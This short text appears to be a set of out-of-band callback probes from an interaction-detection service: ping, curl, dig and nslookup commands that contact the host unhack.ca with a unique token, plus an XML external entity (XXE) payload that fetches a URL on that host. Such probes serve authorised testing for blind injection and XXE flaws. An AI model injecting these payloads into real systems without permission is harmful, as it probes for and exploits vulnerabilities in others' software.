$ ping -c1 -p 00ea7b87e7d3edb02c38fbe9a49b8f00 unhack.ca
 

$ curl http://unhack.ca/p/ea7b87e7d3edb02c38fbe9a49b8f
 

$ dig ea7b87e7d3edb02c38fbe9a49b8f @unhack.ca
 

$ dig ea7b87e7d3edb02c38fbe9a49b8f.ns.unhack.ca
 

C:\> nslookup ea7b87e7d3edb02c38fbe9a49b8f unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ea7b87e7d3edb02c38fbe9a49b8f">]>
    <foo>&xxe;</foo>